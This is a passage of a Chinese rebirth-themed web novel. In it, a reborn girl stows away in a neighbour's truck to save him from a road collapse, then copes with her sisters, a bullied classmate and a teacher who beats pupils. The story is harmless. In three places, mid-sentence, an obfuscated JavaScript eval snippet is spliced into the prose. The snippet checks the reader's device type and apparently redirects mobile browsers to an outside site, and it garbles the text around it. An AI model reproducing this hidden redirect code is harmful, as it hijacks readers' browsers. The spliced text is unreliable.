陆易宁脑袋晕沉沉的,说实话,她也不清楚自己在做什么。 计划着要把郑煦锁在教室里,结果却忘了教室门假期中是锁着的,要正式开学当天老师才来开门。 头疼得快炸开了,陆易宁一拍脑门,坐在教室门口。 “所以,今天是不是不用报名?”郑煦有点生气,走到她跟前,“不就是过生日时我抢了你蛋糕上的葡萄吃吗?那个生日蛋糕也有我的一半,你至于记仇到现在吗?” “你在说什么?”鼻子堵得严重,不能呼吸,陆易宁只能用嘴吸着气,“今天就是要报名,再等等。” “要等多久?” “等一两个小时,说不定老师就来了。” 郑煦环看四周,一个人都没有。 现在真的十点了吗? “你的脸好红。”郑煦盯着靠着墙坐下的陆易宁看。 “被风吹的。” “你是不是发高烧了?”郑煦抬手去摸她的脑门。 确实有点烫。 “你就是发高烧了。” 陆易宁合上眼睛,头埋在双腿之间,“没有,我就是觉得热,在教室门口散会热就好了。” 过了很久,学校终于有老师来上班了。没一会,也有家长带着孩子来学校报名。 陆易宁看了一眼手腕上的电子表,九点十分。 郑煦跑去老师的办公楼看了一眼回来,陆易宁快要坐在地上睡着了。 郑煦说:“今天根本不是二年级的报名,是学前班的报名。” “哦。”陆易宁睡眼惺忪地抬起头,从书包夹层里掏出她存了很久的零花钱,一共十块,“我有点感冒,你去药房里给我买点板蓝根和水回来,我要喝。等我休息会儿,舒服一点后,我们就回去。” 学校附近的零食街上,有一家小诊所,学生们打打闹闹,打出事来,都会被送到这里。 “剩下的钱,你给我买点零食,我分你一点。” 郑煦担心道:“你还好吗?” “我好得很。” “那好吧。” 郑煦拿着钱出了校门,书包就放在教室门口。 没一会,陆易宁跟在他身后,也出了校门。 诊所在校门的左手边,而回家要走右边的路。 陆易宁撒开脚丫子跑,跑一会,歇一会。 终于,在快十点的时候跑到家。 此时赵倩已经下班回来,陆易安和陆果果在看少儿频道的早间节目。 赵倩在到处找郑煦,没找到人。 问陆易宁,陆易宁说昨晚看见他去他外公家了,没看见他回来。 赵倩稍微松了一口气,给父母打电话,老两口说不在,而且郑煦昨晚压根就没来家里。 刚放下的心又提到了嗓子眼,赵倩只好跑了一公里的路回父母家。家前家后的地方全找遍了,树林里,果园里,山坡里都没见着人。 一时间,郑煦失踪了的消息传飞了。 大人们上街找,郑松开着货车离开养猪场,本来就打算先回家拿点吃的喝的,一通电话打来说儿子不见了,货也不送了,先找儿子。 陆平和刘秀珍帮忙在街上到处问人郑煦的下落,街上全部找遍了都没找到人,赵倩哭得上气不接下气。郑松因为昨晚没注意儿子是不是在房间里睡觉被赵倩吼得一愣一愣的。 陆易宁见状,于心不忍,不过看见郑松开着货车回来停在周大爷家附近,没有急着去送货就是好的。 接下来,只需要回学校带着郑煦到处躲,躲到下午三四点,郑松如果送不了货,就会避开晚上意外发生的时间点。 陆易宁在后院用凉水洗了一把脸,清醒了一点,准备回学校,刚走到路口,就看见郑煦回来了,手里还提着她的书包。 靠!这傻子怎么回来得这么快,不会多在学校找她一会儿吗? 陆易安在熊大爷的水果店门口大声喊:“郑阳阳,你去哪了?你妈妈到处找你。” 陆易宁急忙跑到郑松拉猪的货车后面,要是郑煦看见她在家,迟早会把她骗自己去学校的事抖出来。 赵倩接到零食店方一敏的电话后,连忙从街上的洗车店里出来。 回到家时,郑煦坐在家门口的椅子上,把包里的面包还有矿泉水拿出来。 “郑阳阳!你去哪儿了?”赵倩又气又喜,隔远就开始骂他,“你在哪学的,大晚上不回家,昨天晚上你去谁家睡觉了?” “我就在家睡的啊!”郑煦回答完,看见老妈的脸色极其不好,而且还在流眼泪。 飞来横祸他不知道,但是即将大难临头他很清楚。 郑煦急忙溜回房间把门锁起来。 没一会儿,郑煦的哭声传到马路上,陆易宁躲在车后面,一车猪味差点把她熏晕。 隔着围猪栏,陆易宁看见郑松过来了。 郑松忙着拉货,没时间教育孩子。 上一世郑松就是十一点左右发的车,陆易宁看了眼手表,现在也才十一点二十三。什么嘛,兜了一个大圈子,就拖了这么会儿。 晚上行车,如果真遇到公路坍塌,看不清,就算再拖一个小时,也不能保证郑松开车时不会掉下去。 郑松离货车越来越近,陆易宁头脑一热,不管了,幸好车门没锁,用力打开车,爬上去。 驾驶舱的空间比较大,在副驾驶后面有一个空隙用来堆一些脏衣服和乱七八糟的东西,还有帘子遮挡着。 陆易宁二话不说,拉上帘子躺睡在脏衣服上面。 郑松上了车,把刚从郑煦书包里翻出来的蓝莓面包放在副驾驶上,系上安全带,启动车子,出发。 陆易宁的脑袋猛地砸在车身上,本来就晕,更晕了。 …… 郑家的孩子找到了,陆家的孩子不见了。 中午吃饭时,刘秀珍专门给生病的陆易宁做了她最喜欢和的南瓜粥。 结果一上楼,找不着人了。 她还在生病呢。 问遍了家附近的人,刘秀珍和赵倩终于相信郑煦挨打的时候,说是陆易宁骗他去学校报名的事是真的了。 而此时,郑松正堵在出小镇的马路上,停工很久的修路工程今天不知道怎么了,突然开工了。 陆易宁感觉睡了一个多小时,睁开眼还在原地。 睁着眼睛发了半个小时的呆,车子终于动了。 下午四点,一车猪被送进屠宰场。 五点半,郑松开着猪车,美滋滋地去了市里,给赵倩买了他惦记了几个月的牛仔裙。 陆易宁看了一眼手表,上一世,郑松出事后,第二天家附近的大人们去赵倩家帮忙,陆易宁在一旁听他们说话,他们说早间新闻播放的事故发生时间是在晚上八点十二分,但凡郑松开车开得快一点,大概率就不会出事。 陆平急得昏天暗地,电话打了无数个,都说没看见陆易宁的身影。 在大街上,看见他要打电话给郑松,刘秀珍气得发毛,“郑阳阳刚回来他就走了,他能知道什么?” 陆平只好把电话挂断。 好饿,好想喝水。两天没有的食欲堆在一起,终于在这一刻,爆发了。 郑松在加油站停下来,趁他去上厕所,陆易宁掀开帘子把副驾驶上的面包和酸奶拿过来,吃了几口面包,又不想吃了。 郑松回来,到处找没找到自己的晚饭,只好花高价在加油站站买面包吃。 脑袋越来越重,陆易宁摸了摸脑门,真烫啊! 断断续续睡了无数次之后,陆易宁一看手表,八点十分! 昏了一天的脑袋在这一刻无比清醒。再晚一点,这一世只能活七岁了。 “郑叔郑叔,快停车!停车!” 陆易宁突然掀开帘子,郑松被吓了一跳,后视镜里没看见有车过来,急忙踩了刹车。 “七七?”郑松看见她,无比地震惊,“你怎么会在车上?” “我……我玩躲猫猫。” “你玩躲猫猫,在车上躲了十来个小时?” “我睡着了。”陆易宁一下又软了下去,摇了摇头用力把自己摇清醒,“你能等我一会吗?我想在车窗旁边吹会风,透透气。” “七七,你发着高烧还玩这么脱,你妈知道了肯定要打你。”郑松赶紧给她腾地方,好让她坐在副驾驶上。 “我……” 哗啦一声巨响,两人的对话暂停,动静持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438391|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续了十几秒,两人四目相对。 沉默了半分钟,陆易宁说:“前面是不是塌了啊?” “塌了?” 又过了几分钟,郑松解开安全带,温声嘱咐道:“你别下车,郑叔叔出去看一下。” 陆易宁哪有力气下车。 郑松在月色下跑了百来米,果然,货车前方百米处,有几十米的路全塌了。 …… 第二天早上,黄兰看见新闻里播放方阳公路路面坍塌的新闻,立马跑去告诉赵倩。 赵倩帮陆家找了一晚上的孩子,给郑松打了一晚上的电话,两件事没一个有下落的。 听见黄兰的话,赵倩打开电视机调至省台卫视,看见新闻里放出来的路况图,天都塌了。 昨天下午五点,郑松才打电话过来说最晚十点半就到家。十点钟她再打电话过去,就是关机了。 “郑松他……他每次去市里走的就是这条路……”赵倩瘫坐在地上,语无伦次地自我安慰,“不可能,不可能,他应该就是手机没电了” “新闻上说还没发现伤亡。”黄兰劝道:“或许他有别的事耽搁了呢?你也别太着急,” 她越是这样说,赵倩心越慌,“你说会不会他和车都被泥巴埋在下面了,所以所以……” “哎哟,别乱想!” 一晚上没怎么睡觉,刚入眠,郑煦就被母亲抽泣的声音吵醒。 他站在房间门口,听着母亲的哭声和新闻播报的声音,他隐隐猜到,父亲出事了。 罗伟去门上班,看见妻子在赵倩家里,而赵倩在地上哭得不能自已,连忙将黄兰从赵倩家里拽出来,罗伟斜了她一眼,压低声音骂道:“就你知道的多,现在都还没定性,你上去乱说什么?” 黄兰不服气,“我说的不就是事实嘛。” “事实也得挑时间说啊,你看你,非得让人家哭断气你才安逸。” 此时,陆家也是一地鸡毛。 找了一晚上,孩子没找到,夫妻俩还有大女儿的眼睛都是肿的。 回到家听见黄兰说郑松可能被埋在路底下了,脑袋又挨了一棍。 …… 陆易宁一觉睡醒,环顾四周,确定了自己现在正躺在一家小医院的病床上。 郑松见她醒了,终于松了一口气,“七七,下次别乱躲猫猫了,你晓不晓得你晕倒在车上,快吓死我了。” “郑叔,我们现在是在哪里,是镇上吗?” “昨天晚上路塌了,回不了家。你脑壳烧得凶,我只好把车开到路过的村镇上,我也不晓得这里是哪里。” “你想吃啥子?郑叔去给你买。” 吊瓶里的药水还有半瓶的量,陆易宁神经紧绷了两天,看见郑叔叔还在,难得轻松,费了这么大的劲,终于成了。 “我想打个电话给我爸妈。”陆易宁说。 打电话? “对了打电话!”郑松终于想起来了,昨晚他在路上拦了一晚上的车,就怕有车掉进塌坑里,幸亏那里不是高速公路,昨晚被成功拦下的车速都不是很快。忙了半天,回到车里,陆易宁又浑身滚烫晕过去,加上手机没电,他急头急脑地找医院,就把打电话的事忘了。 郑煦和陆易安请了开学第一天的假。 差点哭晕过去的赵倩接到了一个陌生电话,是郑松借医生的手机打来的。 “你吓死我了!打你的电话你一晚上没接!”赵倩对着手机破口大骂,“你去哪儿了?” “陆七七躲猫猫躲在我车上,她发高烧昏过去了,我忙着给她找医院,就忘了这事。” “陆七七在你车上?”赵倩的哭声戛然而止。 郑煦听见这话,连忙跑去隔壁,“陆伯伯,姨妈,陆七七跟我爸在一块。” 此时陆家只有陆易安一个人在楼下,陆平给手机充了电,电充了一半,又和刘秀珍出去继续找人。 陆易安听罢,连忙用座机打电话给父亲的手机。 陆平和刘秀珍在学校小吃街上收到这个消息后,心里的大石头落地,一阵轻松,差点没睡在大马路上。 不一会儿,郑松又给陆平的手机打电话。 听见女儿报平安的声音,刘秀珍想骂都舍不得骂。 平平安安的就好,只要没事就好。 34. 三十四章 回到家,郑松夸张地在人前演绎当晚公路上的情景。 逢人就说如果不是陆易宁突然睡醒喊他刹车,他把车开掉下去,百分百会交代在那里。 邻居们都笑幸亏陆易宁贪玩,玩躲猫猫还躲出两条命来。不止两条命,连同郑松在路上拦下的车辆,六条都有了。 对此,陆平和刘秀珍则是欣慰地表示自家孩子是个福娃。 周日一大早被陆易宁骗去学校报名的事,郑煦也不计较了,只是闹着喊赵倩给他换闹钟,买块电子手表,原来的闹钟时间不准。 大人们听说郑煦被陆易宁骗的事,也只是以为陆易宁脑袋烧糊涂了,周日记成了周一。 因为生病,陆易宁请了两天假,暑假作业都是陆易安帮她拿去给老师检查的。 陆果果以为二姐不用去上学了,可以在家陪自己玩,恨不得力所能及地对她好,端茶倒水不在话下,只要陆易宁有任何吩咐,她就尽最大努力完成。 周三早上,陆易宁身体恢复,要去上学了。 陆果果睡梦中听见陆易宁喊陆易安起床的声音,突然惊起,“你起来做浪子?” “我要去学校啊。” 陆果果舍不得她离开家,“你不是不用去了吗?” “我高烧退了,该去学校了。” 一个个的,都去上学了,连斜对面的罗玉美今年也去上学前班了。 陆果果羡慕得不行,“我也想上学想读书,我什么时候才能去读学前班?” 陆易宁一脸疑惑,是自己听岔劈了还是她没睡醒。 这个要求,真的是……一言难尽。 “就知道说一些乱七八糟的。”陆易安被陆果果的声音吵醒,打了个哈欠,一掌把陆果果推睡在床上,“能多睡的时候就多睡会,读书,以后够你读的。” 在后院洗完脸刷完牙,吃早饭的时候,因为前两天陆易宁没去学校,所以陆易安就没有叮嘱过她自己在学校改名字的事。 今天她要去学校了,是该认真通知一下了。 “从今以后,在学校,只有老师能叫我‘陆易安’这个名字,你以后看见我,要么喊我慕容安,要么喊我容容姐。” 筷子上的米粉全部掉进碗里了,陆易宁将空筷子塞进嘴里嗦了一阵空气,“什么东西?慕容……安?” “对啊,我现在的小名不叫陆安安,我叫高粱。” 陆易宁用力咬着下嘴唇才没笑出来。 小孩姐的偶像剧看多了。 应该是暑假里,晚上看《公主小妹》看上了头,里面的女主姓氏为“皇甫”,小名“小麦”,是大富豪流落在外的孙女,所以小孩姐也在幻想自己是流落在外的公主,重新给自己取了一个小名。 陆易宁嗦了一口粉,“那你为什么不叫皇甫安呢?” “皇甫这个姓被零食店的张玉梅抢走了,我才不稀罕跟她一个姓。”陆易安优雅地拿起纸巾,擦干净嘴角,“慕容是小丽姐给我取的,好听吧?” “好听。”陆易宁点点头。 再过段时间,等内地的偶像剧开春了,你会更喜欢这个姓。 “高粱姐,你还没好吗?”郑煦和罗玉龙走到家门口,异口同声地喊道。 罗玉龙的妹妹罗玉美正经地提醒道:“不是高粱姐,是容容姐。” 高粱姐? 这个称呼不错。 陆易宁将碗筷放进洗碗盆里,背上书包,拍了拍陆易安的肩膀,“走了,高粱姐。” 陆易安在小孩帮里混得很开,虽然成绩不好,但是嘴巴厉害,和谁都玩得来。 还没走到学校,光是在校门口的小吃街,就能看见她和不下十个人打招呼。 本班的同学,别班的小伙伴,在小吃街上卖洋芋粑粑的老板娘,卖玩具的大叔…… 一进校门,她的同桌“南风静“走在前面,听见她的声音,特意停下来等她,“慕容安,你今天带着小跟班来了?” “对啊,我亥(和)我妹一块来的。”陆易安故意装出一副台湾腔,提醒陆易宁说:“我的同桌~现在叫南风静。” 陆易宁用力吸住脸颊,我和我妹成了我亥我妹,陈静静成了南风静。 以前的陆易安也不这样啊! 哦,第一世,家里好像是自己读到三年级时才装的卫星天锅。 想到自己第一世看台偶上头后也是这个鬼样子,陆易宁冷不丁掉了一地鸡皮疙瘩。 咦~想想就尴尬。 下午回家,一向在写日记这项家庭作业上混日子的陆易宁,成功记录了她姐从“陆易安”变成“慕容安”的整个过程。 这个名字陆易安用了半年,除了陆易宁坚持喊她“高粱姐”之外,哪怕她再三强调自己的新名字,家附近的大人看见她十分不配合,一如既往地喊她“陆安安”“陆易安”。 久而久之,她就把这个名字放在脑海中某个不起眼的角落。 直到暑假里一部电视剧的播出。 里面的男主复姓慕容,她又记起来慕容安这个名字。 晚上,刘秀珍去上夜班,陆平上中班还没回来。 周丽和陆家几姐妹在陆家等电视剧开播,周星则是和郑煦在郑家看动画片。 每天晚上成了陆易安最开心的时间,因为《一起来看流星雨》在晚上播出。 周丽随口说的姓氏很有前瞻性。 “小丽姐,真有慕容这个姓唉。”听见女主角喊男主的名字时,陆易安觉得慕容这个姓氏真好听。 周丽说:“百家姓里很多类似的姓氏的。” …… 高中的英语词汇背烦了,陆易宁打算更进一层。想当初,上一世自己考研时,英语考研词汇背了不知多少,英一才能考到七十八分,虽然忘了大部分,但是这一世她又重来了,是时候挑战一点高难度的了。 还是先从四六级入手吧。 周丽看电视看得入迷,陆易宁坐在她身边问“小丽姐,我听周爷爷说你在大学也要考英语是吗?他说是叫四级还是什么来着。” “对啊。”周丽突然记起来一件事,“我还给你带了我的四级词典,我想着你喜欢看英语单词,特意给你带的。反正我以后用不上了,留给你。” “谢谢小丽姐。” 陆易安一边看电视一边说:“她又没读三年级,哪里学过英语,你给她搞哪样?” “她学过的。”周丽说:“我教过她,她现在会读的英语单词可能比你还多哦。” 小学三年级开设有英语课,不过都是上的语文或者数学课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438392|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,陆易安一年来就上过一节英语,只学了I和you 。 陆果果的瞌睡上来,长长地打了个哈欠,“小丽姐姐,你的大学有电视里的艾利斯顿大吗?” 周丽说:“小了一点。” 陆易安又问:“那你们也和电视里的学生一样,校服也是小裙子吗?” “我们没校服,随便穿。” “看来你们学校没电视里的学校好。”陆易安正过头,继续看电视剧。 看见给女主使绊子的两个女配,陆易安即使心里觉得角色长得漂亮,但是她们太讨人厌了,就骂她们丑八怪。看见男女主有点亲呢的举动,陆易安就发出一阵害羞别扭的笑声,看都不好意思看。 周丽笑话她:“哎哟,陆安安还看得害羞得很。” 陆易宁做扩胸运动活动活动身子,现在会不好意思,等以后看电视剧,男女主啃在一块,就算舌头都伸进对方的胃里挑东西吃了,也不会令人脸红。 “现在多笑笑。”陆易宁随口说道:“过几天云海就出车祸失忆,把雨荨忘了。” “什么?”周丽和陆易安同时看向陆易宁。 陆易安:“失忆是哪样东西?” 陆易宁心虚地挠着脸颊,“我看预告看的。” 一个星期后,电视剧临近大结局,男主真出了车祸失忆。 哪怕陆易宁再三解释她是看预告片提前知道的,陆易安坚持认为男主失忆就是她诅咒的。 “他记起来没有?”陆易安看女主经常为了男主哭,心疼死了,指责陆易宁,“你害的,你就要还。” 陆易宁觉得她是个疯婆子,被逼问得久了,只能敷衍道:“会的会的,我觉得第二部会记起来的。” 相比于陆易安,陆易宁更喜欢和陆果果看电视。陆果果喜欢看西游记,她可以堂而皇之地给妹妹剧透。 一问怎么知道,就说是书里说的,而且西游记经常重播,说以前看过也不足为奇。 不过她问的问题有点刁钻。 比如孙悟空的妹妹是花果山上的哪几只猴子? 陆易宁撑着下巴坐在电视机前思索了一会,摇头,“孙悟空没有妹妹。” 陆果果坚决不信,因为孙悟空是石头缝里蹦出来的,而陆易安告诉过她自己亲眼看见过孙悟空的妹妹睡在石头上。 不止一个。 小孩子的世界里,很多东西都是串联起来的。 当陆易宁看红楼梦,看到贾宝玉被贾政打时,陆果果会问:“孙悟空为什么不打回去?孙悟空才不会那么没出息,能被一个老头打屁股打得大喊大叫。” 那一瞬间,她对齐天大圣无所不能的完美形象差点破灭。用砍刀都砍不了的猴子在这里居然会被人打得躺床。 陆易宁懵逼了半天,终于记起来自己曾经对她说过,贾宝玉和林黛玉木石情缘的事。在陆果果眼里,她理解成了贾宝玉也是块石头,是孙悟空七十二变的。 陆易宁向她理清了孙悟空的人物关系后,她对哪吒又起了疑惑。 为什么哪吒一会好一会儿坏?哪吒的爸爸妈妈不是牛魔王和铁扇公主吗?怎么在另一个动画片里,他爸爸是李靖? 陆易宁又费口舌给她解释红孩儿和哪吒是两个人,哪吒的小名不叫红孩儿。 35. 三十五章 以前天天在路口等姐姐回家的陆果果,八月底成功报名了学前班。 下周一开始,她也要和姐姐们一块上学去了。 刘森的大女儿刘萱周日结婚。刘秀珍周六带陆果果报完名,请了一天假,直接带着陆易安和陆果果回杨长喝喜酒去了。 陆易宁不想坐客车,没有回去。 白天陆平去上班,家里只有陆易宁一个人。 经过上次走失的事,刘秀珍不放心她一人在家。好在赵倩周六休息,陆平周天休息,可以轮番看着她。 夏季的燥热在八月底还没完全褪去,卧室里太热了,陆易宁睡了一会就被热醒,只好下楼。 今天赶集,赵倩带着郑煦上街买了一袋零食回来,路过陆家,看见陆易宁烦闷地坐在小电扇前吹风,就把她喊出去。 赵倩给了她一只老冰棍。 嘴里含着冰棒,午睡后的头疼缓解,总算舒服多了。 郑煦手里拿着葫芦娃包装的雪糕,里面有七个蘑菇状的冰棒,分给她一个。 “谢谢。” 郑煦和她一起坐在门口,“你大姐姐结婚,你去吃喜酒能得好多好吃的。你为什么不去?” “天气热,坐客车闷死了。” 陆易宁咬了一口碎冰含在嘴里,忽悠郑煦:“我刚刚看你妈给你买了一大包辣条,你不给我分点?” “你冰棒还没吃完诶,你就要吃辣条?” “哎哟,你去给我拿点嘛,顺带给我拿瓶爽歪歪,我用冰棒蘸着吃。” 郑煦眉头紧皱,“什么吃法?” “快去!” 耐不住陆易宁一直在催,郑煦只好回家去给她拿吃的。 陆易宁百无聊赖地转着头到处看,视线在水泥小路与大马路交界处与一双眼睛对上。 马路上站着的小女生一直往她的方向看,准确来说是往她家的门口看。 她比陆果果高一点,脸很白,在太阳底下,白里透着红,头发是黄棕色,眼睛大大的,有点像是橱窗里的洋娃娃。 不过她身上穿的衣服没有洋娃娃的精致,只是一件旧得发黄的T恤,上面印得有一朵粉红色的大花,一条到膝盖下方的绿色马裤,裤兜处的纱花已经脱线,轻飘飘地垂下来。脚上穿的也是一双路边卖的八块钱一双的粉色塑料凉鞋。 她在看陆家房上紧闭着的门,陆易宁则是在看她。 赵倩换完衣服出来,顺着陆易宁的视线看过去,只看见一个小女生站在马路上笑嘻嘻地看着她们。 “是她啊,长这么高了。”赵倩想了一会儿,终于记起来女孩。 小女生的头发长了,不过她那双有灵性的大眼睛和头发,赵倩很有印象。 以前这孩子来过家里,赵倩当时觉得她长得很漂亮,还给她吃了雪糕,只是没多久,她妈妈就找到这里来,把她带走了。 “倩倩阿姨,你认得她?”陆易宁问。 赵倩对着女生招手,“她之前走丢过,就在你家门口。” “我家门口?” “那个时候你家还没搬来,都有好几年了吧。”赵倩说:“她说来找她朋友玩,可是以前住在这的是一对老夫妻,那两个老人也不认识她。” “她说过她朋友的名字吗?” “这个我倒是忘了,好像叫什么南还是兰?” 赵倩往屋里喊,让郑煦拿一只小布丁出来。 赵倩拿着小布丁跑去路口,陆易宁在门口看了一会儿,又跟了上去。 只不过她跑过去时,小女生已经拿着雪糕往街上跑了。 陆易宁再次看见小女生是在放学后,学前班的教室里。连续三天,她放学后去学前班,都看见那个小女生在和陆果果说话。 陆果果坐在教室中间的位置,那个女生坐在教室靠窗的位置。 一放学,就跑来坐在陆果果前桌的位置和她聊天。 陆易宁站在门口喊:“陆果果,走了!” 陆果果听见她的声音,连忙背上书包,“我先回家了。” “拜拜。” 小女生朝她挥了挥手。 陆果果走出教室,看见陆易宁的身后没有人,“陆安安呢?今天不等她吗?” “她今天被老师留在教室里做题目,我们先走。” “读三天书了,你现在觉得读书好玩吗?”陆易宁一手拉下陆果果书包上的没拉到底的拉链。 陆果果说:“不是太好玩。” “我看你才几天都交到新朋友了,天天和你在教室里等人。” “她才不是。” “为什么?” 陆果果辩解道:“我同学们都说她,”陆果果右手指着自己的脑袋转了转,“这里有问题。” 陆易宁回想着在家门口第一次看见那个女生时的场景,“不像啊,她顶多就是爱笑而已。” “就是爱笑。”陆果果两只小手一拍,小嘴巴巴说个不停:“她总是笑,有时候老师上课时,她就会笑出来。坐在她前面的男生说她长得怪,她在笑。我和她对视,她也在笑。老师骂她,她笑,别的女生让她去买零食,她拿着钱去把东西买回来,她继续笑。她们骂她是神经病,是疯子,她也在笑。” 陆易宁问:“你觉得呢?” “我觉得不能骂她是神经病,应该说她是个笨蛋。”陆果果说:“昨天,她在教室里笑,老师喊她离开教室,她就傻站在门口。如果是我,我早就去操场上玩滑滑梯了。” “……” 陆易宁解释道:“老师喊她出去,就是要罚她站在外面。” “可是老师没说啊。” “唉……”陆易宁长叹一口气,“以后别说她是笨蛋了,笨蛋我有人选。” 陆果果拧着眉头,“谁啊?” “你!” “我才不笨,我比李圆圆聪明多了。” 李圆圆?好耳熟的名字。 陆易宁突然停下来,“那个喜欢笑的女生叫李圆圆?” “对啊。” 陆易宁的思绪立马被拉回至第一世。 好像是在读五年级还是六年级的时候,应该在劳动节假期结束的第一天,陆果果中午跑来教室找她哭了半天。 她说她好朋友死了,那个朋友名叫李圆圆。 陆易宁之所以记得清楚是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那她是个好人啊,怎么会是神经病呢?”陆易捏了陆果果的圆脸一爪,“你要是敢和别人一块笑她欺负她,我回家告诉妈,喊妈打你。” 陆果果:“我又没欺负她。” 陆易安被留堂还没回来,回到家,吃完晚饭,陆易宁则是和陆果果在楼上做作业。 刘秀珍买了一张长木桌,够三个孩子坐一块。街上没有带书格的书桌,她只好请郑松用木头做了三个书架子,分别给三个女儿放书。 眼看陆果果又在拼音本的名字一栏上写“陆果果”三个字,陆易宁直接拿起橡皮擦给她擦掉。 好不容易写上去的名字被擦掉,陆果果皱起眉头,努嘴质问:“你把我名字擦了做浪子?” “作业本上不能写小名,要写大名。” “大名不好写。”陆果果不耐烦地乱扭动身体。 陆易宁发话:“写大名!老师一般喊的都是大名。如果你想被老师骂的话,那你就写吧。” “读书烦死啦!”陆果果骂了一句,只好心不甘情不愿地写下自己的名字——陆易然。 她写了半天,陆易宁凑过去看了一眼,“然字下面的四点水是分家了吗?离得那么远,字写那么大做什么?” “你好烦啊。”陆果果瞪着她,“你怎么跟个大人一样?烦死啦!” 说完,就跳下凳子,将课本和作业本叠在一块走出了房间。 陆易宁伸头看向阳台问:“你去哪?” “我去找杨奶奶,杨奶奶才不会管我的名字写成什么样。” 陆易宁:“……” 36. 三十六章 小学生的课表上虽然排了各种课程,但是能上的只有语文,数学,体育,最多加上一节美术课。 为了完成教育局规定的多彩课程,今年学生们能上的课程就多了。英语,音乐,科学,书法,实践这些以前放在课程表里充数的科目也得到了落实。 陆易宁读了三年级,小学三年级会开始接触英语。英语老师的本职是教数学的,或者是教语文的,但是应对本来就不会纳入考试成绩的小学生英语足够了。 乡镇的教育比不上县城城市。对于英语,临时上阵的老师也不会认真教。 陆易宁班上的英语老师是教六年级数学的一个女老师,很严厉,第一次来班上,就拿着一根有手指粗,半米长的木棍。 打开书,不介绍英语这门科目,翻开书后面的单词表就开始教读单词。读完一遍单词,翻开课本第一单元第一页,学生们还沉浸在各种英语单词的奇怪发音里,她就开始教读句子。 英语这门课在小学里本来就不重要,糊弄文学而已,无可厚非。 陆易宁记得第一世时,她读了初一才开始真正接触了英语,学校会有专门的英语老师教学生音标,听力,语法,真正当作一门正式学科教学。 但是严厉的英语老师在教学上可以糊弄学生,学生偏偏不能“糊弄”她。 简简单单带着学生读了一遍单词后,在跟读英语句子时,英语老师严格要求学生们读到哪个单词,手指就指到那个单词。 学生们连I my me是什么意思都没记住,更别说它的发音,直接当成拼音来学。 毫无疑问,老师在读“good morning”,学生们不知道这个短语长什么样,在英语书上乱指一通。 机灵一点的,会翻单词表看,但是老师只教过一遍,只记得几个简单词的发音。 指错地方,英语老师毫不留情,一木棍打身上。 本来对英语这门课很有兴趣的学生在指错单词被打疼之后,开始憎恨这门课了。 坐在教室过道边上的学生就倒霉多了,老师在讲台下面走来走去,一看见边上的哪个学生指错了单词,上来就一闷棍。 陆易宁稍微好一点,坐在课桌里面,她的同桌是个反应力比较慢的女生,坐在边上,一节课右手臂被打了四次。最后两次差点疼得叫出来。 短短四十分钟的英语课,学生们在上课后十分钟内,经历了从好奇到恐惧整个漫长的过程。 挥打无数次棍棒之后,英语老师站在讲台上,推了一下黑框眼镜,面无表情地说:“放学回去,把今天学的单词一个抄五遍,下节课检查。” 陆易宁直接露出地铁老人表情包的同款表情。 嗯?你一节课黑板上没写一个字母,连四线三格都没教过就让学生抄单词? 同桌砸着嘴掀开自己的袖子,被打的地方已经红了。 陆易宁看她眼眶红红的,提议道:“下一次,我坐外面吧?” “你不怕英语老师吗?我都不想上英语课了。” “有点,但是我和我家附近的姐姐学过一点英语,勉强能跟得上英语老师,坐在外边也没什么。” 同桌合上英语课本,听见陆易宁这样说,她其实是心动的,不过也有些顾虑,“可是老师不允许私自换位置啊!” 被训化小孩的世界里,大人,老师的话就是金科玉律,但凡做的与他们的要求有点不同就会害怕被责骂。 上课迟到一分钟,天会塌;作业忘做了几道题,天也会塌;成绩下降,天会塌;被老师罚站,天会塌;被老师批评,留堂,天会塌;被老师打,天塌得彻底;被老师要求请家长,地球直接爆炸。 这种生活陆易宁经历过,一点小事被成年人描绘得堪比天大,压在小孩身上,喘都喘不过气。 “没什么的,我们是同桌,换个位置而已。”陆易宁开始收拾书本,“如果老师因为同桌换个位置就开骂的话,那老师这个活,喝酒醉的神经病也能做。今天英语老师的教课方式有点不对,你被打也不能说明你上课没认真。我听我大姐姐说,读了初中会再次学英语。学了英语,看外国的动画片电视剧都很有意思,而且很多英文歌都很好听的。”陆易宁将课本放在外边的课桌上,“这门课不可怕,只是英语老师有点严厉。老师喊写英语单词,我学过一点,我今天回去写完,你再照着我的写。” “谢谢你!”同桌被她的话安慰道,连忙把自己的教材课本全推到里面去,“陆易宁,明天我给你带我奶奶做的米糕。” 陆易宁和她换了位置,拿出语文书,“我可以选口味吗?” “你要什么味的?” “黑芝麻糖的。” 下节课是班主任的课。 班主任是个师专刚毕业没几年的男老师,为人很随和。 同学们最喜欢上的就是他的课,因为他不常骂人。 学生们上了一节折磨死人的英语课后,班主任一进教室,各个都怨声载道说英语老师好凶。 班主任只是轻飘飘一句“都是为了你们好”,一笔带过了同学们的诉求。 放学回家,陆易宁特意去超市里买了几个英语本。 小学里的班干部大多都是成绩优异的学生。陆易宁作为学习委员,平常除了帮老师检查一下作业,收卷子之外,其余时间几乎不管事。 这一次,她难得有点责任心。 